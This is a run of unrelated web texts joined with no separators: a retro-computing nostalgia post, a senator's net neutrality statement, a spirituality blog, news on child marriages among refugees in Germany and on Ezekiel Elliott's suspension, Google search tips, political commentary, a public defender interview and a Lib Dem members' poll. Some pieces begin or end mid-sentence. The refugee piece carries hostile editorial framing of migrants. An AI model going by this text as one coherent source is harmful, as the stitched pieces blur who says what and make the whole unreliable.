with every pc that was sold back then, the movie still didnt do well. This disc also had a really fun bumper game on it, sorry I couldnt find a single picture from it on the internet (and thats something you cant say often). Just more proof that these are dying memories.Another free software program included was the Spiderman Cartoon Maker. It was pretty much a primitave version of flash software where you made your own clippets of Spiderman. I didnt realize until today how much this must have influenced me in my life, I now work at an advertising company editing video; its clear that my time playing with this software as a kid lead to my interest in the field today.The last of the free software im gonna be talking about today is Encarta 95. At its time of conception there was nothing like it. Today the internet has become an endless supply of information; any question you have can be answered with just a few clicks. Until Encarta came out I had to do all of my research on the families giant encyclopedia set from the eighties. Im not saying that it had a ton of information because to be honest it was quite limited; but it really did set the groundwork for what internet encyclopedias would come to be.One of the greatest things Encarta 95 introduced me to was David Bowie. I had never heard of him as a kid but here he was on encarta with pictures, music samples and a biography. That picture above is the exact picture used on Encarta, and for years I thought that was how he always looked. It was very suprising to me when I saw his Ziggy Stardust and cross dressing phases.The computer was more than just an eductaional tool for me, as we all know the pc came with a few games too. Above is a picture of SKIFREE a game until today, I had completely forgot about. Skifree was a very simple game, you pretty much just ski'd down an endless mountain, hitting jumps and avoiding trees. I say endless but its really not; after a while a giant Sasquatch comes out and eats you.Scary huh?The first game I ever bought for the pc was Wolfenstein 3D, packaged with Doom. Now I played Doom just as much as the next guy ; but I feel it deserves its own article so I wont get into it. Instead, ill talk a bit about Wolfenstein. Many dont know this but Wolfenstein 3D is actually a sequel to Castle Wolfenstein on the Apple 2 in 1981. I never played it but from what I understand, it was more of a stealth based game like metal gear.The level designs were anything but special, I use the phrase "level design" loosely, considering each level is just a bunch of square rooms on a flat plane. But it was the first game to ever make me feel as if I was really inside of it. The game immersed me in its pixelated world of nazis and german shepherds. The greatest part? Killing Hitler all over again! Except this time the furher got a giant robot suit.All hail RoboHitler!Often we talk of our fond memories of Doom and Wolfenstein. To me, there are a number of subjects that have been talked about so much to the point that they shouldnt really even be talked about anymore. For example " Man I love Super Mario Bros. That game was so much fun!" Yeah I know it is, we all know it is, it goes without saying. My point? Id like to leave my stamp on Retrojunk.com as a person who conjures up forgotten memories, things you loved but dont remember you love. One perfect example of what im talking about is Chex Quest.Yes thats a man inside of a giant piece of cereal zapping green aliens. Looks insane? You bet it was. But it was also a ton of fun. You were the Chex Warrior and you used weapons like spinning sporks to defeat the green flemoids. You may have never played or heard of this game, but it has a massive fanbase; so much to the point that unofficial sequals have been created by fans."Eat spork flemoid!!"The game also came with 50 free hours of AOL! Can you remember when free AOL hours actually meant something? It was insane! They started off advertising 10 free hours then by the end of it they were giving away 789,039 free hours (or something like that). Me and my friends use to steal them (even though they were free) from stores just to have something to throw at each other. I used to work at a store that gave these away and I spent much of my free time finding new ways to destroy them... useless things.Speaking of useless things... what about AOL itself? Does anybody use AOL nowadays? I mean I have an old email I use from AOL but as far as actually signing on and checking the chatrooms out, that hasnt happened in years. I think the last time I actually did check the chatrooms out they were as dead as a graveyard. Its amazing that AOL has become so obsolete, it used to be the one and only way to get online but with high speed internet, AOL has gone the way of the dinosaur.The biggest example of how computer technology is full of dying memories is the internet itself. How can I go back and enjoy the oldness of wwf.com circa 1996? Answer: You cant, unless someone has made a clone site (wich is highly doubtful). Just look at that advertisment! Wow, they have something called a "gallery", what a joke! They even feel the need to showcase the awesome "main screen", wow. Its great to say that I was around when there was only a hand full of websites.We all know that the internet has changed the music bizz forever, but remember the first time you saw one of these? I didnt even know what it was for, I thought it was for taking tracks from your other cds and putting them together on this disc, sort of like a mix tape but on cd. I had no idea that the mp3's I had been downloading could be put on it. Speaking of Mp3's do you remember how you used to download them back in the day, way before napster or limewire was around? You used to just download them from various sites that had anywhere between ten to a hundred mp3's foryour choosing.The site I used, mp3can.com has been down for years.And how did you move your mp'3 from computer to computer? You sure as hell didnt use one of these things. I remember being pissed off when my family got a computer that didnt come with a floppy drive "dont we need one of those?!". No, we didnt need a floppy drive then, or ever again. Not unless we have half a photo somewhere we need to check out.If you remember what the screen above here, you get 25 extra bonus points for the game you didnt even know you were playing. As I said im not a computer expert and my memory is very limited, but this was how i remembered things progressing. Hope you enjoyed my article and remember you Simon Cowells of RetroJunk...."if you cant say something nice, dont nothing at all"-ThumperPrepared Statement of Senator Chuck Grassley of Iowa Ranking Member, Senate Judiciary Committee Hearing on “Why Net Neutrality Matters: Protecting Consumers and Competition through Meaningful Open Internet Rules” Wednesday, September 17, 2014 Good morning and welcome to all of the witnesses. Mr. Chairman, I appreciate your holding this hearing on net neutrality. This is a complex topic, and I’m glad that the committee can hear from all sides of the debate. It’s important for the committee to consider the state of the Internet and whether new rules are necessary to ensure that it continues to thrive. Mr. Chairman, I believe that many, if not all, of us share similar goals with respect to the Internet. We all want the Internet to grow and prosper. We all want faster and cheaper Internet access. We all want more deployment of broadband technologies, particularly to areas that remain without access. We all want more innovations and new avenues by which to access information. We all want consumers to have more choice and options. The FCC is in the process of considering whether to adopt rules that would regulate the Internet. Chairman Wheeler has taken the position that there is not enough competition in the high-speed broadband marketplace, and because of this, the agency should advance net neutrality rules. Many would dispute the FCC’s assessment of the Internet. Rather, they would take the position that we have a competitive, dynamic Internet right now, and the push for new rules and regulations is a “solution in search of a problem.” Is the Internet really broken? Broadband and Internet technologies are advancing every day. New products are constantly entering the market, and consumers can choose when, where, and how to access their information and entertainment. Overall broadband deployment and speeds –both wired and wireless – are estimated to reach 98 percent of American households with broadband speeds of 10 megabytes or faster. 82 percent of American households have access to broadband speeds of 50 megabytes or faster. The overall broadband industry – cable, telco, satellite, wired and wireless – has invested over $1.2 trillion in infrastructure, $60 billion a year recently. Further, it’s estimated that broadband speeds double every 2 to 3 years. So, many would contend that the Internet is highly competitive and responsive to consumer demands and that the FCC and others are just speculating about future harms. They’d say there is no need to deviate from the current policies that have allowed the Internet’s phenomenal growth. Moreover, many – including myself – are highly skeptical about the prospect of expansive FCC regulation over every aspect of the Internet. The Internet has been so successful precisely because of a hands-off approach. I’d note that this policy was first implemented under the Clinton administration. The lack of government intervention and regulation has allowed competition to flourish beyond our wildest imagination. Businesses of all sizes have benefitted from a regime that hasn’t been bogged down by prescriptive or onerous regulations. We all want more deployment of technologies and infrastructure. In fact, I’d like to see more broadband growth and options take place in rural America. However, it’s more likely we’ll see improvements in this area as a result of innovation and investment, than as a result of more regulation. Internet technology is advancing at a rapid pace. New products are changing the Internet’s infrastructure by delivering faster access through fiber optic cables. New technologies are allowing people to “cut the cord” and access their media content through the Internet and handheld devices rather than on traditional television sets. Investments in next-generation broadband technologies and infrastructure are booming. Because of the fast changing Internet market, we need to be particularly careful when looking to impose rules and regulations. They could just end up impeding the development and adoption of new technologies and services. They could threaten investment in network upgrades, generate legal and marketplace uncertainty, and ultimately cost jobs and harm the economy. It’s doubtful that creating an expansive regulatory regime will increase broadband deployment, spur innovation, or ensure better quality services and consumer satisfaction. Net neutrality rules radically would change the hands-off approach that has allowed the Internet to work so well thus far. Supporters of net neutrality contend that new regulations will restore Internet protections and ensure the vitality of the Internet. If anything, I’m concerned that that the imposition of new regulations – and in particular expansion of 80 year-old rules designed to regulate old telephone monopolies under Title II – will have the exact opposite effect on the Internet. More regulation normally isn’t seen as something that incentivizes businesses to advance and grow, so it seems counterintuitive in this case as well. Nonetheless, there are legitimate concerns about making sure Internet competition and consumers are protected from corporate bad actors. I don’t support monopolistic, anti-competitive or predatory practices in the Internet marketplace. But rather than allow the FCC to impose regulations on an industry that has been so successful under a hands-off regime, antitrust and consumer protection laws may provide a better option to ensure consumers and businesses are not harmed by anti-competitive conduct in the modern Internet ecosphere. Antitrust and consumer protection laws are already on the books to guard against anti-competitive activity and to prevent companies from engaging in deceptive and unfair behavior. I’ve been a strong supporter of vigorous enforcement of the antitrust laws by the Justice Department and the Federal Trade Commission to ensure a fair playing field in many sectors of our economy. I hope that they’d be paying close attention to this critical market as well. In conclusion, because the Internet is so important to consumers and to our economy, we should proceed with caution. No one wants to undermine the Internet’s competitive vibrancy. This is a complex policy debate, so I look forward to hearing the testimony of the witnesses. -30-Spirituality -- It's Not For Wusses More than 20 years ago, I felt moved to explore Nichiren Shoshu Buddhism, which involves among other things, chanting prayers twice a day and repeating the mantra nam myoho renge kyo. It started when my former wife and I called a friend one afternoon and heard this mysterious chanting in the background. When we inquired about it, the friend invited us to a meeting the next week. The wife and I both attended and met an interesting group of practitioners, participated in the chanting and talked afterwards. I felt a great sense of peace from the chanting and I was hooked. The wife, not so much. But that was okay, Different strokes. I returned the next week and after chanting, the group sat and around and talked, led by a guy named Bob. I don't remember a whole lot of the discussion, but I remember Bob saying that once you started with the practice, something in your life would shift pretty quickly. It might be "bad," it might be "good," but something would change. i nodded as if I knew, then went home. Within the week, the wife asked me for a divorce. Now, I'm not going to lie and say that this was totally out of the blue. We had been working through our issues for some time. But divorce? Now? Really? Literally, my first was reaction was, "Damn, Bob was right." Then I promptly settled into the illusion of pain, separation, self-doubt, hatred, devastation, fear for my son's well-being and all the other pleasant things we typically associate with divorce. To my credit, I continued the daily rituals, attended meetings, even joined the local temple, as all about me my life seemed to be falling apart. Thankfully, the request for divorce was not the only major shift in my life. I distinctly recall waking up one morning, about three months later, feeling a profound peace. I knew at that moment that I would survive the divorce and I would be happy again. I attribute that, too, to my diligent practice of nam myoho renge ko. All this came flooding back as I read Robert Scheinfeld's new book, "Busting Loose From the Business Game." He goes on at length to explain that Busting Loose is not an overnight process, and that we can expect some serious changes. In other words, the journey of spiritual transformation is not for wusses. It's funny the beliefs that we've created around spirituality. Some critics view it as something that they don't have time for, a disembodied practice, designed for self-absorbed, navel-gazing vegan hippies and lost, mindless souls too weak to confront "reality" on its own terms. Spirituality is a cheap and easy escape to la la land. Don't let the door hit you in the aura on the way out. In truth, many of us spiritual travelers began with an equally inaccurate view of the journey. We plunge in believing that learning this practice or this spiritual formula will help us "transcend" our earthly problems in a single bound. If only I do this, life will get "better." Don't forget to tape that new affirmation to the bathroom mirror. Those of us who have played the spirituality game know better now. It's like walking into a biker bar at 1 a.m. Start something and the shit is going to hit the fan. Going deep into transformation requires courage and faith that few of us ever call upon. So when certain other aspects cast a jaundiced eye at you, or sneeringly inquire, "still Busting Loose, are you?", just remember, you're on the spiritual equivalent of the running of the bulls at Pamplona. Run like hell and don't look back. You may get gored on the way, but it's going to be okay. By the way, check back in Sunday for my review of "Busting Loose From the Business Game." .Germany Finds 1,500 Cases of Child Marriages Among Refugees including 361 Girls Under the Age of 14 You’re going to just love the new Europe! German officials found over 1,500 cases of child marriages among the the unvetted migrants they allowed into their country the past two years. 361 of the child brides were under the age of 14. The Daily Caller reported: The German government agreed on a proposal Wednesday to outlaw child marriages after finding more than 1,500 cases of immigrant minors having adult spouses. The Central Register of Foreign Nationals has documented a surge in child marriages in recent years. As of July 2016, 1,500 minors of non-German background were registered as married, including 361 under the age of 14. The largest group of child brides, 664 minors, come from Syria followed by Afghanistan and Iraq. “Children do not belong at the wedding altar, they belong in school,” Justice Minister Heiko Maas said Wednesday. “We cannot tolerate any marriages that might harm the natural development of minors.”The ex-girlfriend who accused Dallas Cowboys star Ezekiel Elliott of striking her last year reportedly vowed to ruin his career, telling him: ‘You are a black male athlete. I’m a white girl. They are not going to believe you.' The NFL last week suspended Elliott for six games for allegedly beating his then-girlfriend, Tiffany Thompson, but the running back has no intention of taking the punishment lying down. Elliott will officially file a notice of appeal to NFL Commissioner Roger Goodell on Tuesday, according to a report in the Fort Worth Star-Telegram. The ex-girlfriend who accused Dallas Cowboys star Ezekiel Elliott (above) of striking her last year reportedly vowed to ruin his career, telling him, ‘You are a black male athlete. I’m a white girl. They are not going to believe you,’ it was reported on Monday The NFL last week suspended Elliott six games for allegedly beating his then-girlfriend, Tiffany Thompson (above), but the running back has no intention of taking the punishment lying down On her Instagram account, Thompson posted photographs of bruises that she says were caused by Elliott when he assaulted her in Columbus, Ohio, last year The photos were reportedly a key factor in the decision by the NFL to suspend Elliott for six games - despite the fact that Ohio prosecutors declined to charge him last year In an effort to overturn his suspension, the Cowboys star is reportedly planning to try and poke holes in Thompson’s credibility The accusations which were made on July 22, 2016, lie at the heart of the NFL’s decision to ban Elliott for the first six games of this upcoming season This photo which Thompson posted on social media shows the couple in happier times Elliott was not arrested or charged in connection with the alleged incident after prosecutors in Ohio determined that they could not put together a case due to ‘conflicting and inconsistent information’ Nonetheless, the NFL says it conducted its own investigation into the matter. The league said there was'substantial and persuasive evidence' that Elliott had physical confrontations last summer with Thompson The Cowboys star is reportedly planning to try and poke holes in Thompson’s credibility. It was Thompson who initially accused the running back of being violent toward her last year in Columbus, Ohio. The accusations which were made on July 22, 2016, lie at the heart of the NFL’s decision to ban Elliott for the first six games of this upcoming season. Elliott was not arrested or charged in connection with the alleged incident after prosecutors in Ohio determined that they could not put together a case due to ‘conflicting and inconsistent information,’ according to the Star-Telegram. Nonetheless, the NFL says it conducted its own investigation into the matter. The league said there was'substantial and persuasive evidence' that Elliott had physical confrontations last summer with Thompson. Despite the suspension, the NFL apparently shares the same concerns expressed by Ohio authorities over Thompson’s trustworthiness The lead investigator for the league, Lisa Friel, said that Thompson gave misleading statements to authorities last year In a letter to Elliott informing him of the league's decision, NFL special counsel for conduct Todd Jones said advisers brought in by the league 'were of the view that there is substantial and persuasive evidence supporting a finding that (Elliott) engaged in physical violence against Ms. Thompson on multiple occasions during the week of July 16, 2016.' But the NFL apparently shares the same concerns expressed by Ohio authorities over Thompson’s trustworthiness. The lead investigator for the league, Lisa Friel, said that Thompson gave misleading statements to authorities last year. Elliott hopes that the league will reconsider its suspension by noting that Thompson had threatened to ‘ruin’ his career. When Thompson was reportedly told that Elliott didn’t want her at his home, she responded: ‘Ok this is what you want? Ok then, I’m going to ruin your life. You will see. If I was you, I wouldn’t go out tonight.’ After she was reportedly disinvited to Elliott’s 21st birthday party, Thompson is alleged to have told Elliott: ‘That’s worst decision you made in your life. I’m going to ruin your life now.’ Elliott hopes that the league will reconsider its suspension by noting that Thompson had threatened to ‘ruin’ his career When Thompson was reportedly told that Elliott didn’t want her at his home, she responded: ‘Ok this is what you want? Ok then, I’m going to ruin your life. You will see. If I was you, I wouldn’t go out tonight’ On another occasion, Thompson is alleged to have told Elliott: ‘You better be smart. And not be a dumb man. B----, keep (messing) with the wrong, b----.’ Elliott will also inform the NFL that he is “100 percent certain” that Thompson told him on July 22, “You are a black male athlete. I’m a white girl. They are not going to believe you.” The alleged threats by Thompson were reportedly made on July 21 and the early morning of July 22 – the day on which Thompson called police to accuse Elliott of assaulting her while they were inside a parked car. Thompson was also found to have texted a friend, Ayrin Mason, asking her to lie about the alleged assault, according to the Star-Telegram. Yet the NFL maintains that despite Thompson’s inconsistent statements, there is evidence to support the assertion that on at least three occasions Elliott assaulted her. The league says Elliott assaulted Thompson on July 17, 19, and 21, causing injuries to her arms, neck, shoulders, face, knee, hips, wrists, and hands. Despite the alleged incidents, Thompson waited until July 22 – after she allegedly threatened to ruin the running back’s career – to file a complaint with police. Elliott, for his part, denies the allegations. On Friday, Elliott tweeted he was ‘both surprised and disappointed by the NFL’s decision [to suspend him], and I strongly disagree with the league’s findings.Image copyright Jestico + Whiles Image caption There are concerns over the impact of the new St James development on the skyline A two-day visit by World Heritage status inspectors has begun in Edinburgh. A series of meetings are being held with the three-strong team from the UK committee of the International Council on Monuments and Sites (Icomos). They are then due to make site visits across the capital including to the St James Centre and the former Royal High School. The buildings are sites of two controversial planning applications. Plans to redevelop St James Centre have drawn strong criticism from conservation bodies, with some suggesting they could damage the capital's reputation as an internationally important example of architecture and planning. 'Walnut whip' A new hotel planned for the site has been likened to a "walnut whip" or a "Mr Whippy" ice cream due to its spiralling metallic ribbon structure. There is also concern about another planning application for a hotel. The landmark Old Royal High School building on Calton Hill could be transformed into a luxury five- star hotel if permission is given to build two wings at the side of the existing buildings. Ian Perry, Edinburgh city council planning convener, said: "Our Unesco World Heritage Status is something that the council is immensely proud of and we take our management role of it very seriously. "The management plan that we are required to operate by Unesco in order to maintain this status is always considered during the planning process, and policies which protect properties within the world heritage area are included in the city's local plan. "We will continue to work closely with Historic Environment Scotland and Edinburgh World Heritage to maintain what Unesco has classed as an area of outstanding universal value."Ever since the Internet's dozens of Web crawlers (AltaVista, anyone?) were whittled down to a single alpha engine, pinpointing your online destination has been a relative breeze. But it turns out even Google can be juiced up with a few simple tricks. We were inspired by a thread on Quora sharing tips to make searches work better. They’re simple and infinitely useful. And when it comes to muddling through the ever-expanding sprawl of the Internet, you can never have too many tricks. Set Timers Type in “set timer for” followed by a number of minutes, or a specific hour you’d like an alert, and Google will graciously comply with an obnoxious beeping once the moment has arrived. Just make sure the volume’s on. Wild C ard Sometimes a memory lapse leaves you searching for the right word. Instead of guessing, put an asterisk in the vacant spot and have the search engine figure it out for you. Similar To To encompass a wider definition than you’re currently searching for, add a “~” in front of the word, and Google will pull up results from similar terms as well. Flight Times Instead of slogging through your airline’s website, just type in your flight number and get an easy look at all the important stuff: flight status, times, terminal, and gate. Search a Website For a search you want specifically from a certain site, just type your term and then “site:” with the desired outlet. Exclude Words Sometimes, especially after a big news event, what you’re really looking for gets buried. To unearth what you need, put a minus sign in front of any terms you want excluded from your search. Convert Units Skip doing math in your head and punch in the units you want to convert. Like “10 euros to dollars,” or “3 meters to feet.” Eith er/Or Divide terms with the word “or” or use the “\|” key to make your search more fruitful if you’re not looking for something specific. Search a Date Range This one’s a little touch-and-go, but entering two dots (“..”) between years will confine your search to that date range. Translate For an easy toggle between languages, Google has one of the best translators around. Type in “translate” along with your desired phrase and language to get the translation and phonetic guideline right in front of you. Gl obal Timepiece Just like Siri, Google responds well to questions. Ask “What time is it” in whatever city piques your curiosity. Find New Content For better or worse, the Internet is a hotbed of professional and amateur reviewers. On the prowl for a new artist or book? Punch in“reminds me of” or “sounds like” and include a favorite of yours to get some new suggestions. Track Packages Because sometimes finding the number-tracking line on UPS is too much effort, just copy and paste your package number into Google’s search, and it’ll take you straight there.You want to hear something really depressing? If John McCain had won the presidency, there is almost no chance he could have gotten the Bush tax cuts extended for the rich. Think about it. How was a Republican president going to get an overwhelmingly Democratic Senate and House to pass those tax cuts that they hated under Bush? No, only a Democratic president could get a Democratic Congress to agree to tax cuts for the rich. So, in this sense, progressives are worse off for having a Democratic president than a Republican one. Then, at least we would have known who we were fighting. Remember, Bush could barely, barely get these same tax cuts passed when the Republicans controlled both the Senate and the House! Funny how the rich and powerful win no matter who is in charge and what party they claim to be from. And think about how much the political spectrum has shifted to the right that Bush had to use reconciliation and then barely got the tax cut through a Republican Congress whereas now a Senate with basically 59 Democrats just passed the same tax cuts with ease. Washington has fallen off a right-wing cliff and the media hardly noticed. Sen. Orrin Hatch (R-Utah) said this about the estate tax provision: We had the president -- George W. Bush -- we couldn't get it done then and we're getting it done here. Ouch. Their victory is so overwhelming that the Republicans are brazenly bragging about how they couldn't even get Bush to do what Obama has done for them. Finally, you have to ask why Democrats who were willing to fight Bush are crumbling in front of Obama? He claims to be the leader of your party, but honestly who cares? If he is doing the exact opposite of what you claim to stand for, why does it matter what he calls himself? Democrats would certainly have fought a surge in Afghanistan if Bush was in charge. They would be complaining about warrantless wiretapping if Bush continued that program instead of Obama. They would have hated the monopoly that drug companies got in the health care legislation (because they went nuts over it when Bush made the same deal). And they would have gone apoplectic over these huge tax cuts for the rich. But under Obama, the defense contractors, the rich and the powerful have gotten almost everything they wanted and nary a peep was heard from the Democrats in Congress. Here is the new memo -- fight him, he's not on your side. When I asked Rep. Jim McDermott some of these questions last night, he seemed at a loss for what to do next. You can feel his frustration and confusion as to how we got here with a Democratic president. Here are some of his quotes: Well, I think a lot of us are, in the caucus, we're not quite sure why this is happening. It doesn't make political sense what he did, and it doesn't make economic sense. I think that we are in serious trouble because the president simply does not seem willing to go after some things that I think he's going to have to if he's going to get anything done for the people of this country. He simply has, in my view, given up the willingness to fight for economic justice in this country. I think it's going to take us a while to get over what's happened here, and I really think... it is very hard to think how you're going to deal with the next round here, because the president has now shown that he can be bullied, and I don't want my president to be bullied. And I think he... we would be all much better if we were able to say, you know, that we're not going to back down, and that there's no excuse for us giving up like this. I mean, that's the hard part for me, is that it's giving up without a fight. [W]hen you start giving in on the kinds of things he's giving in on, you really worry that there is no way back from that. And I'm, I mean, that's why I said it was... this was Gettysburg, because it really is... that was the turning point in the war. And it really is a question of how you continue to rally your troops if you keep giving in on things that people really care about.These lower-value plans would have higher out-of-pocket costs, thus increasing the very things that are so maddening to so many policyholders right now: higher and higher co-payments, soaring deductibles and so forth. Some of the benefits of higher-end policies can be expected in many cases to go by the boards: dental and vision care, for example, and expensive mental health coverage. Photo Proponents say this is a terrific way to hold down health care costs. If policyholders have to pay more out of their own pockets, they will be more careful — that is to say, more reluctant — to access health services. On the other hand, people with very serious illnesses will be saddled with much higher out-of-pocket costs. And a reluctance to seek treatment for something that might seem relatively minor at first could well have terrible (and terribly expensive) consequences in the long run. If even the plan’s proponents do not expect policyholders to pay the tax, how will it raise $150 billion in a decade? Great question. We all remember learning in school about the suspension of disbelief. This part of the Senate’s health benefits taxation scheme requires a monumental suspension of disbelief. According to the Joint Committee on Taxation, less than 18 percent of the revenue will come from the tax itself. The rest of the $150 billion, more than 82 percent of it, will come from the income taxes paid by workers who have been given pay raises by employers who will have voluntarily handed over the money they saved by offering their employees less valuable health insurance plans. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Can you believe it? I asked Richard Trumka, president of the A.F.L.-C.I.O., about this. (Labor unions are outraged at the very thought of a health benefits tax.) I
. What I know is that nobody from the public other than you guys and the legislature have asked me that question. I keep hearing this mythical unicorn: Public’s right to know overrides the Constitution and my ethical and statutory obligations. If you can show it to me, I will give you stuff right now. Can you show it to me? No. Because there isn’t anything. Are you saying 1.6 supersedes the First Amendment? It’s a Sixth Amendment issue. Does your First Amendment override my Sixth? I think not. It’s like the Ten Commandments. God didn’t come down and say the First Commandment is better than the tenth. it’s all equal. I’m saying we have 10 amendments. They’re pretty much all equal and my Sixth Amendment isn’t somehow subordinate to your First Amendment. The Public Defender’s Budget CU News Corps: Prosecutors and some lawmakers are saying that you are not transparent. You’re telling me you’re more transparent than they are. Doug Wilson: We are more transparent than almost any state agency, and we are more transparent than almost any prosecutor’s office in the state. What you’re asking is: “Wilson what’s your budget, how do you spend your money? Are you accountable to the taxpayers in the state for your budget?” I just had a hearing on my 2016 budget. Every year I have to present a budget to the Joint Budget Committee. I’m asking for a 0.47 percent increase. Not even 0.5. The request is $86 million dollars. Last year, we spent $81 million. Last year, we gave money back to the Joint Budget Committee’s general fund. (Note: The office’s active cases increased from 80,000 in the 1999-2000 calendar year to more than 140,000 in 2013-2014, including 18,000 new cases from January 2014 to July 2015.) Everyone wants to talk about James Holmes and Dexter Lewis (who was convicted for killing five people in Fero’s Bar and received a life sentence in August, 2015). But we had 160,000 active cases last year. Two of them were death cases. That’s not the biggest chunk of what we do every day. We spend most of our time grinding out in a courtroom in Saguache pushing back on the prosecutor, law enforcement on DUIs, domestic violence. That’s a bunch of what we do. (Note: The OSPD’ reported its average cost per case is $519) Public defenders vs. prosecutors: bad blood in Colorado CU News Corps: Can you practice in this state without adversity? Doug Wilson: It’s an adversarial system. It’s not set up to be good buddies. It’s set up to be antagonistic. Does that make you better because you keep each other on your toes? Sometimes. I don’t know if you want to be holding hands. I don’t want to be holding hands. Can you practice together in this state without adversity? We don’t have vigilante justice in this country. We have an adversarial system where the prosecutor’s job is to seek justice. My job is to protect that person sitting beside me. I believe we should have strong, knowledgeable prosecutors, judges and public defenders. I’m not sure all prosecutors believe that. I think they believe that people have the right to counsel but they don’t have to be that good, either. Prosecutors will tell you poor people need counsel. They just won’t tell you they want good lawyers. They want us to be second-class citizens. Just like our clients are second-class citizens. They think poor people should have poor lawyers. They literally want a two-legged stool. The head of the Colorado District Attorney’s Council, Tom Raynes, says this is about having parity. He sees counties that are staffed with more public defenders than prosecutors and he’s afraid they are getting, in his words, “clobbered.” You know what? They should be happy that we’re good just like I am happy that they’re good because I would rather have smart, well-funded, ethical prosecutors on the other side of my case than somebody that isn’t paid well, isn’t very smart and cuts corners. I would take that non-political, smart, ethical prosecutor that is tough….any day. What do you mean by non-political? Someone who doesn’t think the way you try cases is on your Twitter account or on your Facebook account. (Note: The 18th Judicial District Attorney George Brauchler was caught Tweeting from the courtroom during the theater shooting trial. Unlike Wilson, who is appointed, Brauchler was elected to his position. A rising star in the Colorado Republican party, he was courted to run for U.S. Senate against Michael Bennet but turned the opportunity down. He is considered by the state GOP to be a potential candidate for governor in 2018. Until then, he is running as an incumbent for DA in the 18th Judicial District in 2016.) It’s unusual for you to sit down with reporters, especially with your budget sheets spread out all over a table. Your time is valuable, as you oversee 488 public defenders in 21 regional trial offices throughout the state. Is this a response to your critics who are criticizing you for refusing to divulge how you spend your money? Yes. The story I’d like to see is that the public defender’s office is transparent except when it comes to protecting the individual clients’ rights and that the public defenders cannot ever violate that Sixth Amendment obligation to that client. We’re really not trying to hide anything, guys. This isn’t me playing a shell game. You look at the numbers we’ve just released. Ten capital cases. $6.3 million. That’s not a bunch of money. How are the attorneys in your office holding up. You’ve had several high-profile capital cases in a row: Holmes, Lewis and now, potentially, Dear. I think my people are worn out and exhausted and tired and they’re still doing their jobs because they believe in what they do. Correction, December 18, 2015: The original article stated that Wilson’s attorneys worked on the Holmes case 100 percent of the time. In fact, they did not work on it 100 percent of the time. Lo Snelgrove contributed to this story. Photo credit: Tax Credits and The Office of the Public DefenderLib Dem Voice has polled our members-only forum to discover what Lib Dem members think of various political issues, the Coalition, and the performance of key party figures. Some 830 party members responded – thank you – and we’re publishing the full results. Two-thirds of Lib Dem members opposed to Scottish independence Do you support or oppose Scotland becoming a country independent from the rest of the United Kingdom? 11% – Support independence 23% – Neither support nor oppose 64% – Oppose independence 1% – Don’t know A convincing majority of Lib Dem members (64%) oppose Scotland becoming an independent country – little more than 1-in-10 support it. However almost one-quarter remain neutral, almost all of them no-Scots’ Lib Dems who reckon it’s not really any of our business. Here’s a sample of your comments… • I would like to see English Independence! • A devolution of power political to power from Westminster to Holyrood is certainly desirable whether it is through Independence, or I would hope, a federalization of the UK. • We need Home Rule agreed by the three Better Together parties, and we need that agreement now. • I am a federalist • It’s up to the people of Scotland to decide. • I nominally oppose independence but would support the right of Scots to self-govern if that’s how they decide to vote. • Amazing how the “No” campaign has managed to turn all the positives of union into negatives – we share a currency yay into you can’t share boo, we all enjoy the bbc yay, into you can’t have dr who boo. and so on • We are Better Together. In Britain, in Europe, in work. • It is time for the distinctively different political culture of Scotland to split from the rest of the UK and find its destiny in Europe. • English. Don’t have a horse in the race and being honest? Don’t really care… • Culturally I feel British rather than English. The UK is greater than the sum of its parts. • I don’t want an almost permanent Tory Government in the rest of the UK • If the Scots wish to become Independent then thats their choice, we should be support their rights for self determination. I would prefer that they remain part of the UK with additional devolved powers (for all regions of the UK not just the individual countries) • Better maintaining the statis quo with greater negotiated autonomy. • It’s for them to decide. I’d like them to stay, but if they don’t want to, then that’s fine. • As a Lib Dem I support subsidiarity. • We are stronger as one country. • I would vote for independence if Scottish. But very damaging for the rest of us. • Personally think it is a wrong move but of course I accept that the Scottish people have the right to make the decision themselves. 3-in-5 Lib Dems back ruling out currency union if Scotland becomes independent Do you support the decision by George Osborne, Danny Alexander and Ed Balls to jointly rule out a currency union if Scotland chooses independence? 59% – Yes 29% – No 6% – Neither 5% – Don’t know Three-fifths of Lib Dems agree with the decision of the Lib Dems, Conservatives and Labour to join forces in ruling out a currency union between an independent Scotland and the rest of the UK. However, a significant minority (29%) reckon that was the wrong decision – with many pointing out that there may be nothing they can do to stop an independent Scotland using the pound if it chooses. Here’s a sample of your comments… • It’s silly bullying, and counter-productive. Of course we could share a currency • There is no reason to prevent this, however it should be clear that the UK would expect to predominate in decisions about the currency and that it would not be an equal partnership. • It should not be for George, Danny and Ed to rule this in or out. Entering a currency union should be a decision for the electorate of all parts of the United Kingdom. It would be inconsistent to have a referendum of ceding powers to Europe and not apply the same standards to Scotland. • If Scotland wants to be independent it should develop its own currency. • The Pound is a reserve currency (just), and as such any one can use it if they so desire. • It is as much Scotland’s currency as England’s. The fact that the controlling bank is located in London is just bad luck for the Scots. I do not want to exchange currencies at the border. • It is important to have as much in common as possible. The same should go for defense cooperation. Every effort between now and the referendum should send the message we love you. • I trust Danny Alexander. • I think it’s silly grandstanding. • Makes economic sense • Alex Salmond cannot assume things which he doesn’t have the power to give. I don’t want him deciding on the pound, he can go and whistle. • The whole status of the UK would change so that the currency would no longer just belong to the remaining parts of the UK • English politicans must not again leave England in a position where Scottish politicians can use English taxpayers money to bail out corrupt and bankrupt Scottish businesses. • If they want to be really independent then they need their own currency • I do not know how it would work, and if the SNP really understand what they are asking for. • It’s nonsense economically and is a bullying tactic politically 1,500 Lib Dem paid-up party members are registered with LibDemVoice.org. 745 responded in full – and a further 87 in part – to the latest survey, which was conducted between 16th and 22nd April. Please note: we make no claims that the survey is fully representative of the Lib Dem membership as a whole. However, LibDemVoice.org’s surveys are the largest independent samples of the views of Lib Dem members across the country, and have in the past offered accurate guides to what party members think. The full archive of our members’ surveys can be viewed at www.libdemvoice.org/category/ldv-members-poll Photo of Eilean Donan Castle, Scotland by [email protected] * Stephen was Editor (and Co-Editor) of Liberal Democrat Voice from 2007 to 2015, and writes at The Collected Stephen Tall.That’s the question a self-described “total Apple fanboy” put to Steve Jobs [UPDATE: The “fanboy” has now confessed that he faked his exchange with Jobs, reportedly after his father read this post. See here.] Ah, the white iPhone 4. Announced on June 7. Missing at the June 24 launch. Promised by the end of July by Steve Jobs himself at his July 16 “Antennagate” press 